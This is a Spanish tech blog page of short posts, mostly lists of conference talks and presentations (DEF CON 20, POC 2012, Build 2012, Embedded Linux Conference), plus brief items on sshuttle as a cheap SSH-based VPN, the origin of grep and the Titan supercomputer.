• Prototypes, Prototypes and Prototypes - and the difference between them. (Shane Morris)
• Up up and Out: Scaling software with Akka 2 (Henrik Engström)
• The Core protocols - Warp-Speed Results for any Team And the Common Platform for the Culture Tech Revolution (Jim McCarthy)
• API Usability: Think of the humans! (Catherine Powell)
• Be brave, dive in and lead the testing for mobile apps (Julian Harty)
• Testing that made me proud (Martin Karlsson, Mattias Gustavsson, Linda Hoff)
• Cutting testing time with Parallel Automated Functional Tests (Alan Parkinson)
• Making offshore testing work (Pradeep Soundararajan)
• The Whole-Team Approach, Illustrated: Choosing a New GUI Test Tool (Lisa Crispin)
• Go: a simple programming environment (Andrew Gerrand)
• Go: code that grows with grace (Andrew Gerrand)
• Elixir - A modern approach to programming for the Erlang VM (José Valim)
• Tribes, Alliances, Schools - Oh My! Building your reputation through creative disobedience (Matthew Heusser)
• The power of node (Felix Geisendörfer)
• Retrofitting a software architecture to an existing code-base (Chris Chedgey)
• Big Time: Introducing Hadoop on Azure (Yaniv Rodenski)
• HTTP Caching 101 (Sebastien Lambla)
• Building Highly Successful Windows Phone Apps: a Recipe for Repeated Success (Gergely Orosz)
• Whats hot in Android 4.0 + 1 (Lars Vogel)
• Test Driven Android (Jeff "Cheezy" Morgan)
• Programmer Anarchy (Fred George)
• Performance and Capacity in a Cloud (Goranka Bjedov)
• A practical overview of Java EE 6 (Paul Bakker)
• REST assured - Hypermedia APIs with Spring MVC (Oliver Gierke)
• Building a grammar for statistical graphics in Clojure (Kevin Lynagh)
• Business Patterns for Software Developers (Allan Kelly)
• The Art of Disciplined Creativity (Denise Jacobs)
• How being customer-centric improves IT success: a case study (Elizabeth Harrin)
• Reinventing software quality (Gojko Adzic)
• Critical Updates: why software engineering is a fake discipline and what to do about it (Laurent Bossavit)
• Mixup testing, a cross team testing activity between scrum teams (Johan Åtting)
• How to Argue About Code (Andrew Dupont)
• Vim - precision editing at the speed of thought (Drew Neil)
• Radical NoSQL Scalability with Cassandra (Tim Berglund)
• To Java SE 8 and Beyond (Dalibor Topic)
• Java Web Security By Example (Frank Kim)
• The Art of Metaprogramming in Java (Abdelmonaim Remani)
• Advanced Continuous Integration Techniques with Jenkins (Kohsuke Kawaguchi)
• JDK 7 Updates: Director's Cut (Dalibor Topic)
• A deep look into the Event Store (Greg Young)
• Software in the Age of Sampling (Brian Foote)
• TypeScript: JavaScript development at Scale (Mads Torgersen)
• Developing polyglot applications on Cloud Foundry (Chris Richardson)
• Interaction and Navigation Patterns for Modern User Experience (Billy Hollis)
• The growbotron, an iPhone powered farm. Not farmville.... a real farm. (Chris Hughes)
• Therapeutic Refactoring (Katrina Owen)
• Less - The Path to Better Design (Sandi Metz)
• Designing For Rapid Release (Sam Newman)
• Hybrid Applications with MongoDB and RDBMS (Chris Harris)
• Maven vs Gradle, On your marks, get set, go! (Hardy Ferentschik)
• Touch it – don’t touch it (Ola Wassvik, Andreas Olsson, Dag König, Robert Gavelin)
• Polyglot Programming in the JVM (Andres Almiray)
• Eclipse 4 Internals (Lars Vogel)
• Exploring Datomic: a database deconstructed (Tim Ewald)
• Rebels in their own way (Hampus Jakobsson, Chris Hughes, Zed A. Shaw)
• Effective Scala (Henrik Engström)
• Security Inception (Frank Kim)
• Git on Android: Spreading Rebellion (Roberto Tyley)
• Asynchronous Collaboration: Communicating Through Our Source Code (Ryan McGeary)
• Kotlin: Making the Java Platform a Better Place (Hadi Hariri)
• Ugly Code (Alex Papadimoulis)
• It's Not You, It's Them: Why Programming Languages Are Hard To Teach (Zed A. Shaw)
• Testing Online Crazy Glue: Strategies for building testable PHP applications (Chris Hartjes)
• Play Framework 2 (Peter Hilton)
• MVVM Applied in Windows Phone and Windows 8 (Laurent Bugnion)
• ASP.NET 4.5: All you need to know (Damian Edwards)
• What?!? C# Could Do That??? (Shay Friedman)
• Advanced RavenDB (Oren Eini / Ayende Rahien)
• Unlock your Inner Node.js in the Cloud with Windows Azure (Glenn Block)
• Secrets of the Chrome Developer Tools (Patrick Dubroy)
• Travis CI - I Hear You Like Pull Requests (Konstantin Haase)
• The making of Crazyflie (Arnaud Taffanel, Tobias Antonsson, Marcus Eliasson)
• Optimizing Mobile Games (Dennis Gustafsson)
• Being A SME (Subject Matter Expert) (Marcus S. Zarra)
• Pure, Functional Javascript (Christian Johansen)
• Asynchronous User Interfaces - the future of Web UIs (Alex MacCaw)
• Highly Connected Data Models in NOSQL Stores (Alistair Jones)
• Culture hacking and the coming era of magnificence (Jim McCarthy)
• Software won - so what now? (David Rowan)

VPN para pobres

Con el título que encabezo esta entrada es como se define la herramienta de la que os voy a hablar sshuttle.

Sshuttle es un proxy transparente que actúa como una VPN para pobres. Esto es porque Sshuttle no es, ni ofrece las posibilidades de una VPN. Lo que nos permite es enrutar el tráfico TCP y peticiones DNS a través de un túnel usando SSH. Esto nos puede venir muy bien cuando usamos una red pública, por motivos de seguridad. Una forma muy fácil de enrutar nuestro tráfico TCP es usando un proxy SOCKS con un simple comando: sss -Dpuerto servidor_ssh. El problema de este método es que el tráfico DNS, es decir, las peticiones que hacemos para resolver las IPs no van por el túnel y pueden ser fácilmente esnifadas y manipuladas. Además, cuando usamos un proxy SOCKS, tenemos que explícitamente cambiar la configuración de nuestro navegador para que use nuestro proxy. Es un paso más que tenemos que llevar a cabo y si usamos dos navegadores distintos tendríamos que hacer lo mismo en el segundo navegador, es decir, tenemos que configurar todos los programas que queramos que usen dicho proxy.

Er docu der finde: Los juegos de Hollywood

Línea de tiempo de distribuciones GNU/Linux

En este blog he visto que mantienen un gráfico muy curioso con una línea de tiempo de todas las distribuciones GNU/Linux que existen. Podemos ver todas las distribuciones que descienden de las 3 principales: Debian, Slackware y Redhat. Hay algunas que no descienden de ninguna de estas tres directamente. El gráfico es un trabajo que constantemente se está actualizando, por lo que puedes ver que falta alguna distribución o alguna errata.

Sorpresa en el rodaje de The Big Bang Theory

Tienes que ver el video hasta el final…

Visto en Código Geek.

Vídeos de CascadiaJS

CascadiaJS es una conferencia orientada a Javascript que se celebró en Seattle los pasados 8 y 9 de noviembre. Javascript es un lenguaje que cada vez está tomando más relevancia y no sólo en el mundo web sino también en los nuevos sistemas operativos de Microsoft, así que ya no es sólo un lenguaje para desarrolladores web.

Pues nada, aquí tenéis los vídeos de las charlas de CascadiaJS:

Origen de grep

Aunque he categorizado esta entrada como Microhistoria, no la he titulado como tal, porque es más bien una pequeña curiosidad, sería más bien una mini-microhistoria :)

A finales de los 60s y principios de los 70s, el mundo de la informática vería nacer uno de los sistemas operativos con más influencia de la historia: Unix.

Cuando uno creaba un sistema operativo, además del núcleo necesitaba algunas utilidades con las que poder trabajar y seguir desarrollando en el mismo. Algunas de las herramientas esenciales eran un ensamblador, depurador, un editor de texto, etc. El papel que jugaba el editor de texto era importantísimo, ya que este era el medio por el que el programador podía escribir código directamente en el sistema.

Problemas de salud que podrían causar las tabletas …

Presented By: OnlineDegrees.org

Unos libros técnicos para pasar días de frío

Otra de nuestras listas de libros que hemos ido recopilando durante las últimas semanas.

• Windows 8 for Dummies, Dell Pocket Edition
• THE COMPUTER REVOLUTION IN PHILOSOPHY: Philosophy, science and models of mind
• Project Management Book
• Algorithms
• The Nature of Code
• Bayesian Reasoning and Machine Learning
• The Elements of Statistical Learning: Data Mining, Inference, and Prediction
• Information Theory, Inference, and Learning Algorithms
• Gaussian Processes for Machine Learning
• Data-Intensive Text Processing with MapReduce
• Reinforcement Learning: An Introduction
• Open Data Structures
• Fundamentos de jQuery
• CoffeeScript Cookbook

Presentaciones de la Embedded Linux Conference …

La Embedded Linux Conference Europe 2012 fue otra de las conferencias celebradas en Barcelona entre el 5 y el 9 de noviembre, sobre Linux, pero enfocada a los sistemas embebidos o empotrados, como prefieras llamarlos.

Aquí tienes la magnífica lista de las charlas con su enlace (PDF) a la presentación de la misma.

• Beaglebone: The Perfect Telemetry Platform?
• Implement Checkpointing for Android
• Maintainer's Diary: Devicetree and Its Stumbling Blocks
• A War Story: Porting Android 4.0 to a Custom Board
• USB Debugging and Profiling Techniques
• Wireless Networking with IEEE 802.15.4 and 6LoWPAN
• Bluetooth Smart devices and Low Energy support on Linux
• OpenOCD: Hardware Debugging and More
• PF_ZIO: Using Network Frames to Convey I/O Data and Meta-Data
• A New File System Designed for Flash Storage in Mobile
• Boot Time Optimizations
• Modular Graphics on Embedded ARM
• Inside Android's User Interface
• Near Field Communication with Linux
• Upgrading Without Bricking
• BoFs: Developer Tools and Methods: Tips & Tricks
• BoFs: Is HW Availability a Gating Item for Your Software Development
• BoFs: Yocto Project & OpenEmbedded Community
• BoFs: The Need For a Fast Bootloader
• Barebox Bootloader
• Dive Into Android Networking: Adding Ethernet Connectivity
• Experiences as an OEM with Development of UI Frameworks
• FFSB and IOzone: File system Benchmarking Tools, Features and Internals
• The End of Embedded Linux (As We Know It)
• Application Parallelization for Multi-Core Android Devices
• Linux Power Supply Charging Subsystem
• Embedded Linux RADAR Device
• What's Old Is New: A 6502-based Remote Processor
• Your New ARM SoC Linux Support Check-List
• Can You Market an Open Source Project?
• Qt on Embedded Systems
• Supporting 200 Different Expansionboards: The Broken Promise of Devicetree
• Àndroit: Real-Time for the Rest of Us
• Eclipse and Embedded Linux Developers: What it Can and Cannot Do For You
• Yocto Project Overview and Update
• ARC Linux: From a Tumbling Toddler to a Graduating Teen
• DRM/KMS, FB and V4L2: How to Select a Graphics and Video API
• Practical Data Visualization
• ARM 64-Bit Bootstrapping with OpenEmbedded
• Practical Experiences With Software Crash Analysis in TV
• Regmap: The Power of Subsystems and Abstractions
• Low-Level Linux Debugging Without Grey Beards
• Video4Linux: Current Status and Future Work
• Yocto Layer for In-Vehicle Infotainment
• Debugging Embedded Linux (Kernel) Power Management
• Real-Time Linux in Industrial Appliances
• Rygel: Open Source DLNA, ready for Customer Products?
• Improvement of Scheduling Granularity for Deadline Scheduler
• LTSI (Long-Term Stable Initiative) Status Update
• UBI Fastmap

Por qué Linus Torvalds prefiere programar a ganar …

Interesante (muy reciente y extensa)  entrevista a Linus Torvalds. En ella nos cuenta parte de su historia pero también temas actuales como por ejemplo las causas del fracaso de Linux como ordenador de escritorio así como de Google y sus sistema Android, entre otras cosas.

Siempre es bueno saber de primera mano la opinión de los grandes de la informática.

Entrevista completa en TechRadar.

Domingo por la mañana, The Big Ship, Brian Eno

Y en Spotify:

http://open.spotify.com/track/2d9KBVxb6bUfVCjjv1JAVe

No tengo nada que decir del maestro Brian Eno.

Increíble y penoso a la vez, Apple patenta "pasar …

Estamos locos.

Esta semana Apple, sí otra vez, ha patentado algo que no se puede o no se debería dejar patentar y que lleva años (por no decir siglos) funcionando: el pasar las páginas de un libro.

La patente es la D670,713 aprobada esta semana por la United States Patent Office  (realmente pidieron la patente en 2011 pero se ha aprobado ahora).

Esto es lo que dice exactamente la patente: "Display screen or portion thereof with animated graphical user interface", que resumiendo viene a  decir que han patentado la animación y el gesto de pasar página.

Presentaciones de la POC 2012

La POC 2012 (Power Of Community) es una conferencia que se lleva celebrando desde el año 2006 por hackers coreanos y profesionales de la seguridad. Esta edición fue celebrada los pasados 8 y 9 noviembre y ya han publicado las presentaciones que se dieron (no todas):

• Alexander Polyakov, SSRF vs business-critical applications.pdf
• Andrei Costin, Ghost is in the Air(Traffic).pdf
• Auriemma & Ferrante, Pwning Multiplayer Online Games.pdf
• Chengyun Chu, Security Improvements in Windows 8.pdf
• Gordeychik, SCADA Strange Love or How I Learned to Start Worrying and Love Nuclear Plants.pdf
• MC & Yaniv Miron, PwN With HW v.10.pdf
• MJ0011,Using a Patched Vulnerability to Bypass Windows 8 x64 Driver Signature Enforcement.pdf
• Tora, Devirtualizing FinSpy.pdf
• Wan Tao, China Hacker.pdf
• Xu Hao & Xiabo Chen,"Find Your Own iOS Kernel Bug.pdf
• flashsky, APT Attack Detection of Vulnhunt.pdf
• redhidden & silverbug, Fun of Firmware Hacking.pdf

Er docu der finde: La historia de la electricidad …

Titan, el rey de reyes

Según la lista que acaba de salir este mes de noviembre de los 500 ordenadores más potentes del mundo, Titan es el más poderoso.

Este súper ordenador pertenece al Oak Ridge National Laboratory. Según sus características, Titan es el primer súper ordenador híbrido. Usa una arquitectura combinando CPUs y GPUs para el procesamiento. Sus especificaciones técnicas parecen de ciencia ficción, algunos números son:

• Tiene un pico de velocidad 20 petaflops
• 299.008 CPUs Opteron (CPUs)
• 18688 GPUs (Nvidia Tesla K20)
• 710 Terabytes de memoria
• 18.688 nodos
• Ocupa una superficie de 404.31 metros cuadrados
• Como sistema operativo usa Cray Linux Environment

Aquí tenéis un pequeño vídeo sobre este monstruo.

Titan Timelapse from OLCF on Vimeo.

Presentaciones de la LinuxCon Europe 2012

La semana pasada, del 5 al 9 de noviembre se celebró en Barcelona (España) una de las conferencias más grandes sobre Linux, la LinuxCon Europe. Para los que no tuvimos el privilegio de poder asistir, nos tendremos que conformar con el material que vayan publicando. Por lo pronto ya están las presentaciones disponibles, esperemos que hagan lo propio con los vídeos.

Mientras tanto, aquí tenéis la lista de las presentaciones:

Fotografiado el primer planeta errante

La luz azul más brillante es el planeta errante. Foto EurekaAlert.org

Pues sí, hay planetas que no están unidos a una estrella, que vagan por el Universo sin estar atados a ninguna fuerza de atracción. Hasta ahora era sólo una teoría prácticamente ya comprobada, hasta que un equipo de la Universidad de Montreal ha conseguido fotografiar uno de ellos.

Al principio este tipo de planetas se iban a catalogar en principio como estrellas marrones que no habían podido iniciar las reacciones nucleares para convertirse en estrella tal y como las conocemos. Al no orbitar una estrella madre, este objeto sólo puede ser detectado por infrarrojos, ya que no refleja ningún tipo de luz. Tiene ese color azul por las moléculas que componen su atmósfera (posiblemente metano).

Material de la Defcon 20

Yeah! Material oficial de la Defcon 20 ya disponible: vídeos, audio, etc. Aquí tenéis la lista de lo que hay disponible en la web oficial:

• Welcome & Making the DEF CON 20 Badge - Slides Video m4b Audio
• DEF CON Documentary Trailer - Slides Video m4b Audio
• Before, During, and After - Slides Video m4b Audio
• Shared Values, Shared Responsibility - Slides Video m4b Audio
• Owning Bad Guys {And Mafia} With Javascript Botnets - PDF White Paper Slides Video m4b Audio
• The Darknet of Things, Building Sensor Networks That Do Your Bidding - PDF Slides Video m4b Audio
• Drones! - Slides Video m4b Audio
• PDF Extras Slides Video m4b Audio
• Blind XSS - PDF Slides Video m4b Audio
• Should the Wall of Sheep Be Illegal? A Debate Over Whether and How Open WiFi Sniffing Should Be Regulated - Slides Video m4b Audio
• Cryptohaze Cloud Cracking - Slides Video m4b Audio
• Overwriting the Exception Handling Cache PointerDwarf Oriented Programming - PDF Slides Video m4b Audio
• Exploit Archaeology: Raiders of the Lost Payphones - PDF Slides Video m4b Audio
• Hardware Backdooring is Practical - PDF White Paper Slides Video m4b Audio
• DIY Electric Car - PDF Slides Video m4b Audio
• Tenacious Diggity: Skinny Dippin' in a Sea of Bing - Slides Video m4b Audio
• KinectasploitV2: Kinect Meets 20 Security Tools - PDF Slides Video m4b Audio
• Fuzzing Online Games - Slides Video m4b Audio
• The Open Cyber Challenge Platform - Slides Video m4b Audio
• Into the Droid: Gaining Access to Android User Data - PDF Slides Video m4b Audio
• Panel: Meet the Feds 1 - Law Enforcement - Slides Video m4b Audio
• Meet the Feds 2 - Policy - Slides Video m4b Audio
• SIGINT and Traffic Analysis for the Rest of Us - Slides Video m4b Audio
• Bad (and Sometimes Good) Tech Policy: It's Not Just a DC Thing - PDF Slides Video m4b Audio
• Life Inside a Skinner Box: Confronting our Future of Automated Law Enforcement - PDF Slides Video m4b Audio
• Owning the Network: Adventures in Router Rootkits - PDF Slides Video m4b Audio
• World War 3.0: Chaos, Control & the Battle for the Net - PDF Slides Video m4b Audio
• Embedded Device Firmware Vulnerability Hunting Using FRAK, the Firmware Reverse Analysis Konsole - PDF Slides Video m4b Audio
• Looking Into The Eye Of The Meter - PDF White Paper Slides Video m4b Audio
• SQL Injection to MIPS Overflows: Rooting SOHO Routers - PDF White Paper Extras Slides Video m4b Audio
• DC RECOGNIZE Awards - Slides Video m4b Audio
• Hacking Humanity: Human Augmentation and You - PDF Slides Video m4b Audio
• Connected Chaos: Evolving the DCG/Hackspace Communication Landscape - Slides Video m4b Audio
• Not-So-Limited Warranty: Target Attacks on Warranties for Fun and Profit - PDF Extras Slides Video m4b Audio
• DivaShark - Monitor your Flow - Slides Video m4b Audio
• Beyond the War on General Purpose Computing: What's Inside the Box? - Slides Video m4b Audio
• Sploitego - Maltego's (Local) Partner in Crime - PDF Extras Slides Video m4b Audio
• Not So Super Notes, How Well Does US Dollar Note Security Prevent Counterfeiting? - PDF Images Slides Video m4b Audio
• Post Metasploitation: Improving Accuracy and Efficiency in Post Exploitation Using the Metasploit Framework - Slides Video m4b Audio
• The Paparazzi Platform: Flexible, Open-Source, UAS Software and Hardware - PDF Slides Video m4b Audio
• Hacking the Google TV - PDF Slides Video m4b Audio
• Owned in 60 Seconds: From Network Guest to Windows Domain Admin - PDF Slides Video m4b Audio
• Hellaphone: Replacing the Java in Android - PDF Slides Video m4b Audio
• Hacking [Redacted] Routers - Slides Video m4b Audio
• Demorpheus: Getting Rid Of Polymorphic Shellcodes In Your Network - PDF Extras Slides Video m4b Audio
• New Techniques in SQLi Obfuscation: SQL never before used in SQLi - PDF Slides Video m4b Audio
• Uncovering SAP Vulnerabilities: Reversing and Breaking the Diag Protocol - PDF Slides Video m4b Audio
• Post-Exploitation Nirvana: Launching OpenDLP Agents over Meterpreter Sessions - PDF Slides Video m4b Audio
• The Art of Cyberwar - PDF Extras Slides Video m4b Audio
• More Projects of Prototype This! - PDF Slides Video m4b Audio
• Hacking Measured Boot and UEFI - PDF Slides Video m4b Audio
• Exchanging Demands - PDF Extras Slides Video m4b Audio
• Changing the Security Paradigm: Taking Back Your Network and Bringing Pain to the Adversary - Slides Video m4b Audio
• Busting the BARR: Tracking "Untrackable" Private Aircraft for Fun & Profit - Slides Video m4b Audio
• Crypto and the Cops: the Law of Key Disclosure and Forced Decryption - Slides Video m4b Audio
• Passive Bluetooth Monitoring in Scapy - PDF Extras Slides Video m4b Audio
• How to Hack All the Transport Networks of a Country - Slides Video m4b Audio
• Bigger Monster, Weaker Chains: The National Security Agency and the Constitution - Slides Video m4b Audio
• Black Ops - Slides Video m4b Audio
• Owning One to Rule Them All - Slides Video m4b Audio
• Detecting Reflective Injection - PDF Slides Video m4b Audio
• An Inside Look Into Defense Industrial Base (DIB) Technical Security Controls: How Private Industry Protects Our Country's Secrets - PDF Extras Slides Video m4b Audio
• No More Hooks: Detection of Code Integrity Attacks - PDF Slides Video m4b Audio
• DDoS Black and White "Kungfu" Revealed - PDF Slides Video m4b Audio
• NFC Hacking: The Easy Way - PDF Slides Video m4b Audio
• Robots: You're Doing It Wrong 2 - Slides Video m4b Audio
• Anonymous and the Online Fight for Justice - PDF Slides Video m4b Audio
• OPFOR 4Ever - PDF Slides Video m4b Audio
• Weaponizing the Windows API with Metasploit's Railgun - PDF Slides Video m4b Audio
• Defeating PPTP VPNs and WPA2 Enterprise with MS-CHAPv2 - Slides Video m4b Audio
• SCADA HMI and Microsoft Bob: Modern Authentication Flaws With a 90's Flavor - Slides Video m4b Audio
• Don't Stand So Close To Me: An Analysis of the NFC Attack Surface - PDF Slides Video m4b Audio
• How to Hack VMware vCenter Server in 60 Seconds - PDF Slides Video m4b Audio
• DEF CON Comedy Jam V, V for Vendetta - PDF Slides Video m4b Audio
• Cortana: Rise of the Automated Red Team - PDF Slides Video m4b Audio
• Making Sense of Static - New Tools for Hacking GPS - Slides Video m4b Audio
• SQL ReInjector - Automated Exfiltrated Data Identification - PDF Extras Slides Video m4b Audio
• Meet the EFF - Slides Video m4b Audio
• The End of the PSTN As You Know It - PDF Slides Video m4b Audio
• APK File Infection on an Android System - PDF Slides Video m4b Audio
• Panel: The Making of DEF CON 20 - Slides Video m4b Audio
• Adventures in Bouncerland -
• Anti-Forensics and Anti-Anti-Forensics: Attacks and Mitigating Techniques for Digital-Forensic Investigations - PDF Slides Video m4b Audio
• Creating an A1 Security Kernel in the 1980s (Using “Stone Knives and Bear Skins”) - Slides Video m4b Audio
• Network Anti-Reconnaissance: Messing with Nmap Through Smoke and Mirrors - PDF Slides Video m4b Audio
• Bypassing Endpoint Security for $20 or Less - PDF Slides Video m4b Audio
• The Safety Dance - Wardriving the Public Safety Band - Slides Video m4b Audio
• Kevin Poulsen Answers Your Questions - Slides Video m4b Audio
• Q&A with the Men (and Women) in Black - Slides Video m4b Audio
• Hacker + Airplanes = No Good Can Come Of This - PDF Slides Video m4b Audio
• MegaUpload: Guilty or Not Guilty? - PDF Slides Video m4b Audio
• Stamp Out Hash Corruption! Crack All The Things! - PDF White paper Extras Slides Video m4b Audio
• Spy vs Spy: Spying on Mobile Device Spyware - PDF Slides Video m4b Audio
• Scylla: Because There's no Patch for Human Stupidity - White Paper Slides Video m4b Audio
• Bruce Schneier Answers Your Questions - Slides Video m4b Audio
• Programming Weird Machines with ELF Metadata - PDF Slides Video m4b Audio
• We Have You by the Gadgets - PDF Slides Video m4b Audio
• Can You Track Me Now? Government And Corporate Surveillance Of Mobile Geo-Location Data - Slides Video m4b Audio
• Botnets Die Hard - Owned and Operated - PDF Slides Video m4b Audio
• How to Channel Your Inner Henry Rollins - PDF Slides Video m4b Audio
• Can Twitter Really Help Expose Psychopath Killers' Traits? - PDF Slides Video m4b Audio
• Attacking TPM Part 2: A Look at the ST19WP18 TPM Device - Slides Video m4b Audio
• Twenty Years Back, Twenty Years Ahead: The Arc of DEF CON Past and Future - Slides Video m4b Audio
• Off-Grid Communications with Android: Meshing the Mobile World - PDF White paper Slides Video m4b Audio
• Socialized Data: Using Social Media as a Cyber Mule - Slides Video m4b Audio
• Safes and Containers: Insecurity Design Excellence - PDF Slides Video m4b Audio
• Rapid Blind SQL Injection Exploitation with BBQSQL - PDF Extras Slides Video m4b Audio
• Subterfuge: The Automated Man-in-the-Middle Attack Framework - PDF White paper Slides Video m4b Audio
• Drinking From the Caffeine Firehose We Know as Shodan - PDF Slides Video m4b Audio
• The DCWG Debriefing - How the FBI Grabbed a Bot and Saved the Internet - Slides Video m4b Audio
• The Christopher Columbus Rule and DHS - Slides Video m4b Audio
• The Art Of The Con - Slides Video m4b Audio
• Improving Web Vulnerability Scanning - PDF Slides Video m4b Audio

Éxito de Nintendo (Infografía)

Fuente MBAOnline.com

Nintendo, la compañía de videojuegos para niños estuvo en el negocio de los ¿“Hoteles del amor”? What the heck!

Presentaciones de la Breakpoint 2012

Más presentaciones para colección, esta vez de la Breakpoint 2012 celebrada en Australia los pasados 17 y 18 de octubre. Aquí tenéis la lista de las presentaciones que están disponibles:

• iOS6 Security
• Modeling the exploitation and mitigation of memory safety vulns
• Advanced Exploitation of Mobile/Embedded Devices:the ARM Microprocessor
• Binary Instrumentation For Android
• Emulating DFU to Quickly Reverse and Exploit USB Devices
• Detecting Bugs Using Decompilation and Dataflow Analysis
• Tackling the Android Challenge
• Unravelling Windows 8 Security and the ARM Kernel
• Rootkit in your Laptop: Hidden Code in your Chipset
• The Case for Semantics-Based Methods in Reverse Engineering
• Android Forensic Deep Dive

Como hacer un juego de acción tipo shooter desde …

Espectacular esta serie de 18 vídeos creados por TheCherno en los que nos explica PASO A PASO (desde como instalar Eclipse hasta empezar con la primera rutina del juego) un juego tipo shooter (de disparos) con estética de aventuras de fantasía medieval, parecido a uno llamado Realm of The Mad God, usando Java.

Algunos planetas que existen en Alfa Centauri, …

Imagen: Space.com

Sabéis que hace poco se se ha descubierto un planeta más o menos del tamaño de la Tierra en nuestra estrella más cercana, en concreto a Alfa Centauri B (Alfa Centauri es un sistema con tres estrellas).

Este hallazgo es realmente importante, es el planeta que está "sólo" a 4 años luz de la Tierra. Con nuestra tecnología actual tardaríamos cientos o miles de años en llegar, pero si encontramos vías alternativas de propulsión (como se explica en este magnífico post de Eureka) este sería seguro nuestro primer lugar a visitar.

Antennas to Heaven, Gravy is Gravy, para esta …

http://open.spotify.com/track/6giRxIFTtNRgitHi5eHu5x

Hazlo por mi ;) , tienes que escucharla hasta el final…

minuto 2:45 espectacular … sube el volumen … perfecto para empezar este domingo gris de Noviembre…

Antennas to Heaven

PD: No la he encontrado en YouTube, la he puesto desde Spotify (supongo que tendrás que instalarlo).

Vídeos de la Build 2012

Para aquellos que trabajéis con tecnología de Microsoft o simplemente estéis interesado en ella, aquí tienes el listado de todos los vídeos de las charlas que se dieron en el evento llamado //build/, que celebró Microsoft en casa, Redmon, WA.

• Build 2012 Day 1 Keynote
• BUILD 2012 Day 2 Keynote
• Bringing existing C++ code to Windows Store apps
• HTML5 & CSS3 latest features in action!
• Developing Continuous Services : Real world experiences of the Team Foundation Service engineering…
• What's New for Developers in Office 2013 and SharePoint 2013
• Designing games for Windows 8
• Developing a Windows Store app
• Introduction to creating Windows Store apps using HTML and JavaScript
• 50 performance tricks to make your HTML5 apps and sites faster
• BUILD 2012 Day 2 Keynote
• It’s all about performance: Using Visual C++ 2012 to make the best use of your hardware
• Graphics at the core of Windows 8 and your app
• Chalk Talk: Reading and publishing
• Bridging the DEV-OPS gap with Windows Server 2012 and Visual Studio 2012
• Angle Brackets, Curly Braces, One ASP.NET and the Cloud
• Ask the experts panel: Device apps
• Chalk Talk: Gaming and graphics apps
• Deep dive on WinJS ListView
• Easy Asynchrony with C#: No More Callbacks!
• Monetizing your Windows 8 app with advertising
• Key technologies for Windows Store business apps
• Bing Maps for Windows apps
• The Future of C++
• Ask the experts panel: Connected apps
• Bleeding edge ASP.NET: See what is next for MVC, Web API, SignalR and more…
• Powering your apps with Microsoft accounts
• Delivering Applications with RemoteFX in Windows Server 2012
• Guidance for shopping apps
• The Microsoft design language
• Building Awesome HTML apps in Blend for Windows 8
• Building apps for Office and SharePoint 2013 using the web technologies you know and love, Part 1
• Building data centric applications for web, desktop and mobile with Entity Framework 5.
• Core technologies for Windows 8 games
• The power of C++ - Project Austin app
• New multi-touch, ink, and pen technologies that can revolutionize your apps on any size of screens
• Tips on self-evaluating the UX of your app
• Windows Store: how does it work?
• Designing awesome XAML apps in Visual Studio and Blend for Windows 8 and Windows Phone 8
• Xbox Live on Windows 8 Deep Dive
• Key technologies for shopping apps
• Connecting C++ Apps to the Cloud via Casablanca
• Building apps for Office and SharePoint 2013 using the web technologies you know and love, Part 2
• Extending & customizing Dynamic Access Control
• Building Cross-Device Xbox Games
• 1+1=3: Using app contracts to integrate with Windows 8 experiences
• Developing a Windows Store app using C++ and DirectX
• Making money with your app on the Windows Store
• Shopping app case studies
• Don’t break the web: Why web standards matter and how to use them responsibly.
• Super-Natural Interaction
• Windows Azure Overview
• How to make your applications manageable
• Designing great reading experiences
• Security in Windows Store apps
• Lighting up Windows: From websites to apps
• Building High-Performing JavaScript for Modern Engines
• Application Lifecycle Management: It’s a Team Sport
• Introduction to Windows Azure Infrastructure as a Service (IaaS)
• Kinect Design Considerations
• DirectX Graphics Development with Visual Studio 2012
• Designing rich media scenarios in your Windows Store app
• Building Rich Media Applications on Windows 8 with Windows Azure Media Services
• Introduction to creating Windows Store apps using XAML
• Key technologies for building great reading experiences
• The story of state: AppData, settings, and the process lifecycle
• What’s new in VS2012
• Diagnosing performance and memory issues in JavaScript-based Windows Store apps
• Apps for Office and SharePoint development using the all new browser-based “Napa” and Visual Studio…
• Advanced Windows Azure Infrastructure as a Service (IaaS)
• Building Big: Lessons learned from Windows Azure customers - Part I
• Developing Mobile Solutions with Windows Azure Part I
• Graphics with the Direct3D11.1 API made easy
• Using media extensions to build great video playback apps
• Desktop apps: WPF 4.5 and Visual Studio 2012
• Designing awesome XAML apps in Visual Studio and Blend for Windows 8 and Windows Phone 8 (Repeat)
• Diving deep into C++ /CX and WinRT
• The Evolution of .NET
• Building Big: Lessons learned from Windows Azure customers - Part II
• Developing Mobile Solutions with Windows Azure Part II
• Key technologies for building advanced media apps
• The developer’s guide to the SkyDrive API
• Performance tips for Windows Store apps using XAML
• Diagnosing performance and memory issues in JavaScript-based Windows Store apps (Repeat)
• Building end-to-end apps for SharePoint with Windows Azure and Windows 8
• Kinect for Windows Programming Deep Dive
• Alive with activity: Tiles, notifications, and background tasks
• Building world-ready Windows Store apps with XAML
• Tips and tricks for developing connected applications
• Performance tips for Windows Store apps using DirectX and C++
• Windows Store device apps
• Tips for building a Windows Store app using XAML and C++: The Hilo project
• DevOps: Integrating development and operations for the last mile velocity
• Introducing TypeScript: A language for application-scale JavaScript development
• Windows Azure Active Directory: enabling single sign on and directory services for cloud SaaS apps
• From zero to hero! Building a Windows Store game in HTML5
• XAML list controls
• Continuous Integration with Windows Azure Websites
• Deep dive into WinJS
• Developer Productivity with Visual Studio & TFS 2012
• Building Awesome HTML apps in Blend for Windows 8 (Repeat)
• Developing an app for SharePoint autohosted in Windows Azure Web Sites with an autoprovisioned…
• Building Real-time Web Apps with ASP.NET SignalR
• Writing Windows Server 2012 Applications to leverage the file based shared storage
• Windows Azure Internals
• Gaming reimagined: Gaming case studies
• Building mixed-language apps
• Testing Untestable Code with Stubs and Shims in Visual Studio 2012
• TouchDevelop: A touch-first IDE for the Web created with TypeScript
• Building Services for Any Client with ASP.NET Web API
• Developing Big Data Analytics Applications with JavaScript and .NET for Windows Azure and Windows
• Media app case studies
• Touchscreen and stylus and mouse, oh my!
• Analytics for Windows Store apps
• Modern JavaScript
• Getting Started with Cloud Services Development
• Javascript from client to cloud with Windows 8, Node.js, and Windows Azure
• Building world-ready Windows Store apps with HTML/CSS/JavaScript
• Chalk Talk: Media apps
• Windows 8 Connectathon with Windows Azure Mobile Services
• Building Connected Business Applications with Visual Studio LightSwitch
• Building Windows 8 LOB apps
• Deep Dive into the Kernel of .NET on Windows Phone 8
• Advanced Cloud Services Development
• Data Options in Windows Azure. What's a developer to do?
• Writing Windows Store apps with jQuery
